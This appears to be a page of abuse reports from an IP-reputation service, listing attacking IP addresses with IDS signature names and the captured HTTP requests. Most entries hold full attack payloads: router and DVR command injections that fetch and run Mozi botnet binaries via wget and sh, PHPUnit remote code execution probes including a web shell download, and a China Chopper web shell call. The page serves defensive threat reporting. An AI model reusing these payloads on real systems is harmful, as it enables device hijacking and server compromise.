🇰🇷
221.160.177.83
07 Jan 2022
Netgear DGN1000 series routers authentication bypass attempt
2022-01-06T07:40:50.674Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2022-01-06T07:40:50.674Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://221.160.177.83:2060/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
Web App Attack
🇮🇳
134.209.150.110
05 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-05T10:37:29.916Z
{
POST /vendor/phpunit/phpunit ...
show more
PHPUnit PHP remote code execution attempt
2022-01-05T10:37:29.916Z
{
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<?=md5('ve69q4pj');echo strtoupper(php_uname('s'))?>
}
show less
Web App Attack
🇮🇳
103.40.196.54
04 Jan 2022
GPON Router authentication bypass and command injection attempt
2022-01-04T02:51:06.019Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-01-04T02:51:06.019Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103[.]40[.]196[.]54[:]42458/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
🇹🇼
118.233.93.72
04 Jan 2022
GPON Router authentication bypass and command injection attempt
2022-01-04T05:10:21.318Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-01-04T05:10:21.318Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://118[.]233[.]93[.]72[:]58039/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
🇩🇿
105.101.161.44
03 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-02T14:46:19.677Z
{
GET /salute/vendor/phpunit/p ...
show more
PHPUnit PHP remote code execution attempt
2022-01-02T14:46:19.677Z
{
GET /salute/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
<?php echo(base64_decode("a2lsbF90aGVfbmV0"));
}
show less
Hacking
🇷🇴
86.104.10.79
03 Jan 2022
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-01-02T07:36:38.207Z
{
POST /search.php ...
show more
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-01-02T07:36:38.207Z
{
POST /search.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 229
a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
}
show less
Hacking
Exploited Host
🇺🇸
104.35.184.69
31 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T17:43:09.441Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T17:43:09.441Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇨🇦
172.105.101.233
31 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T16:18:05.384Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2021-12-31T16:18:05.384Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]45/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇺🇸
63.152.85.76
31 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T00:53:27.277Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T00:53:27.277Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://63[.]152[.]115[.]53[:]54080/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇮🇳
59.89.223.193
31 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T12:53:38.014Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2021-12-31T12:53:38.014Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://59[.]89[.]223[.]193[:]58121/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇺🇸
164.92.208.144
30 Dec 2021
D-Link multiple products HNAP SOAPAction header command injection attempt
2021-12-30T19:52:41.277Z
...
show more
D-Link multiple products HNAP SOAPAction header command injection attempt
2021-12-30T19:52:41.277Z
{
POST /HNAP1/ HTTP/1.1
User-Agent: Mozila/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
SOAPAction: "http://purenetworks[.]com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://185[.]204[.]217[.]174/z.sh;chmod 777 z.sh;sh z.sh dlink;rm -rf z.sh`"
Content-Length: 0
}
show less
Hacking
🇻🇳
113.171.173.103
30 Dec 2021
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T22:56:25.130Z ...
show more
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T22:56:25.130Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://113[.]171[.]173[.]103[:]42003/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
Web App Attack
🇮🇳
59.99.142.187
30 Dec 2021
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T23:02:36.662Z ...
show more
GPON Router authentication bypass and command injection attempt
timestamp: 2021-12-29T23:02:36.662Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://59[.]99[.]142[.]187[:]57658/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇺🇸
207.244.248.240
29 Dec 2021
Apache Obfuscated log4j RCE Attempt (tcp ldap) (CVE-2021-44228)
Timestamp: Dec 29 14:21:39 UTC-8
Web App Attack
🇮🇳
116.68.97.205
29 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
timestamp: 2021-12-29T03:42:10.278Z
{ ...
show more
Netgear DGN1000 series routers authentication bypass attempt
timestamp: 2021-12-29T03:42:10.278Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://116[.]68[.]97[.]205[:]37623/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇩🇪
212.192.216.90
28 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
timestamp: 2021-12-28T22:04:11.436Z
{
GET / ...
show more
MVPower DVR Shell arbitrary command execution attempt
timestamp: 2021-12-28T22:04:11.436Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]45/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇮🇳
61.3.70.146
28 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://61 ...
show more
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://61[.]3[.]70[.]146[:]55500/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇩🇰
84.238.62.208
28 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]19 ...
show more
MVPower DVR Shell arbitrary command execution attempt
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 212[.]192[.]216[.]46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
🇺🇸
69.49.235.93
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27 13:53:42.000 -08:00
Web App Attack
🇵🇰
175.107.0.204
27 Dec 2021
Netgear DGN1000 series routers authentication bypass attempt
{
GET /setup.cgi?next_file=netgear.cf ...
show more
Netgear DGN1000 series routers authentication bypass attempt
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175[.]107[.]0[.]204[:]40747/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
🇩🇪
164.90.235.62
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27 11:23:36.809 -08:00
Web App Attack
🇺🇸
162.241.121.96
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27T18:52:19.430Z
Web App Attack
🇩🇪
167.172.108.249
27 Dec 2021
Apache Log4j logging remote code execution attempt
timestamp: 2021-12-27T18:56:02.671Z
Web App Attack
🇩🇪
212.192.216.42
27 Dec 2021
MVPower DVR Shell arbitrary command execution attempt
Web App Attack
🇺🇸
143.198.171.67
27 Dec 2021
PHPUnit PHP remote code execution attempt
{
GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdi ...
show more
PHPUnit PHP remote code execution attempt
{
GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; 2960 ;Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 261
<?php file_put_contents('evil.php',file_get_contents('http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt')); system('wget http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt -O evil.php;curl http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt -O evil.php'); ?>
}
show less
Web App Attack